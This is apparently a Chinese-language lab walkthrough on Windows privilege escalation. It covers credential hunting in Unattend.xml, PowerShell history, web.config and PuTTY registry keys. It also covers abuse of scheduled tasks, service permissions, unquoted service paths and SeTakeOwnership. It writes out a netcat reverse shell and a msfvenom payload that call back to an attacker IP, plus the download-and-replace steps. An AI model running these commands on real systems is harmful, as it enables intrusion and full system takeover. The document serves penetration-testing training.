特权升级包括使用“用户 A”对主机的给定访问权限,并利用它通过滥用目标系统中的弱点来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在实际获得管理权限之前,我们可能需要升级到其他非特权帐户,根据情况,我们可能需要利用以下一些弱点:
Windows系统主要 有 两类用户,可以将这些用户用归类为以下组之一:任何具有管理权限的用户都将成为Administrators组的一部分。另一方面,标准用户是用户组的一部分。
Administrators 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
Standard Users 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或必要的更改,并且仅限于他们的文件。
除此之外,我们通常会听到操作系统在特权升级上下文中使用的一些特殊内置帐户:
在大量主机上安装 Windows 时,管理员可能会使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,这些设置最终可能会存储在计算机中的以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,可能会遇到这些凭据:
Administrator
thm.local
MyPassword123
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。
其中%userprofile%为cmd.exe的环境变量,$Env:userprofile为powershell的环境变量
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Internet Information Services (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为的文件中web.config,
可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这是在文件中查找数据库连接字符串的快速方法:
type C:\Windows\xxxx\web.config | findstr connectionString
任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。这里以PuTTY为例子
PuTTY 是 Windows 系统上常见的 SSH 客户端。但它会存储包括明文身份验证凭据的代理配置。
要检索存储的代理凭据,使用以下命令在以下注册表项下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
在某些情况下甚至可以获得管理员访问权限,如果您认为这些更多地属于 CTF 事件领域而不是您在实际渗透测试过程中会遇到的场景,那将会有所帮助。
查看全部计划任务,以视图模式
schtasks /query /fo LIST /v
schtasks /query /fo list /v|findstr vulntask
schtasks /query /tn vulntask /fo list /v
在这里我们发现了有一个定时任务的脚本,运行所有者是:taskusr1
查看一下这个文件的权限
icacls C:\tasks\schtask.bat
可以看见普通用户具有所有权
修改脚本内容改为恶意的反向shell
echo C:\tools\nc64.exe -e cmd.exe 10.14.55.65 4444 > C:\tasks\schtask.bat
这时候攻击机监听4444端口
当有权限的时候,可以直接运行任务。如果权限不足,就只能等待任务运行了
schtasks /run /tn vulntask
可以看见任务运行成功
这时候返回攻击机,可以看见4444端口接收到了一个为wprivesc1\taskusr1的权限
显示每个进程中的服务信息
tasklist /svc
sc qc WindowsScheduler
执行该文件的用户为svcusr1,该服务关联的可执行文件位于 C:\Progra2\System1\WService.exe
icacls C:\Progra~2\System~1\WService.exe
可以看见普通用户拥有,可读可写的权限。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着可以将恶意payload进行替换
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.14.55.65 -f exe-service -o a.exe
python3 -m http.server
返回受害者界面,下载恶意文件
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"
这时候修改文件名,将恶意文件替换
move C:\Progra~2\System~1\WService.exe C:\Progra~2\System~1\WService.bkp
move a.exe C:\Progra~2\System~1\WService.exe
icacls C:\Progra~2\System~1\WService.exe /grant Everyone:F
sc stop 服务名
sc start 服务名
使用 Windows 服务时,当服务配置为没有正确使用引号引起空格的时候,会发生一些这种情况
C:\Wdinwows\hh hh\a.exe //本来要执行的文件
C:\Windows\hh.exe //攻击者创建的恶意文件,将会被Windows服务当作要执行的文件执行
我们可以看这个例子
sc qc Disk Sorter Enterprise
sc qc "Disk Sorter Enterprise"
一个是我们不想找的例子,但是居然查询到了服务,另一个是我们本次案例的例子,使用了双引号才查询到了带有空格的服务路径。
查看该服务执行文件下的路径,查看是否具有创建文件的权限
icacls C:\MyPrograms\
可以看见普通用户拥有创建文件的权限
攻击机监听端口
这时候下载之前,已经生成好的MSF的有效payload
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"
修改文件名
move a.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
使用微软自带的工具查看服务的权限
https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
查看 thmservice 服务的权限
accesschk64.exe -qlc thmservice
当普通用户权限为SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS时,这意味着任何用户都可以重新配置该服务。
让我们查看一下该服务的详细信息
sc qc thmservice
由于我们具有重新配置该服务的权限,也意味着可以通过修改二进制路径为恶意的payload时,将会触发漏洞
>sc config THMService binpath="C:\tools\AccessChk\a.exe" obj=LocalSystem
最后重新启动服务,
可以看见MSF成功接受到shell,且权限为System
SeTakeOwnership 权限允许用户取得系统上任何对象的所有权,包括文件和注册表项,为攻击者提升权限提供了许多可能性。
whoami /priv
utilman.exe是我们将滥用权限升级的目标。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
由于 Utilman 以 SYSTEM 权限运行,如果我们将原始二进制文件替换为我们喜欢的任何 payload,将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它是微不足道的。
要替换 utilman,我们将首先使用以下命令获取它的所有权:
takeown /f C:\Windows\System32\Utilman.exe
可以发现该用户是文件的所有者,作为文件的所有者并不一定意味着拥有文件的特权,但是我们作为该文件的所有者可以为自己分配所需的任何特权
然后使用以下命令对该用户分配所有权
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
当我们锁定用户的时候
点击轻松访问,可以看见我们获得一个新的会话,权限为system
收集的有关已安装软件的信息
wmic product get name,version,vendor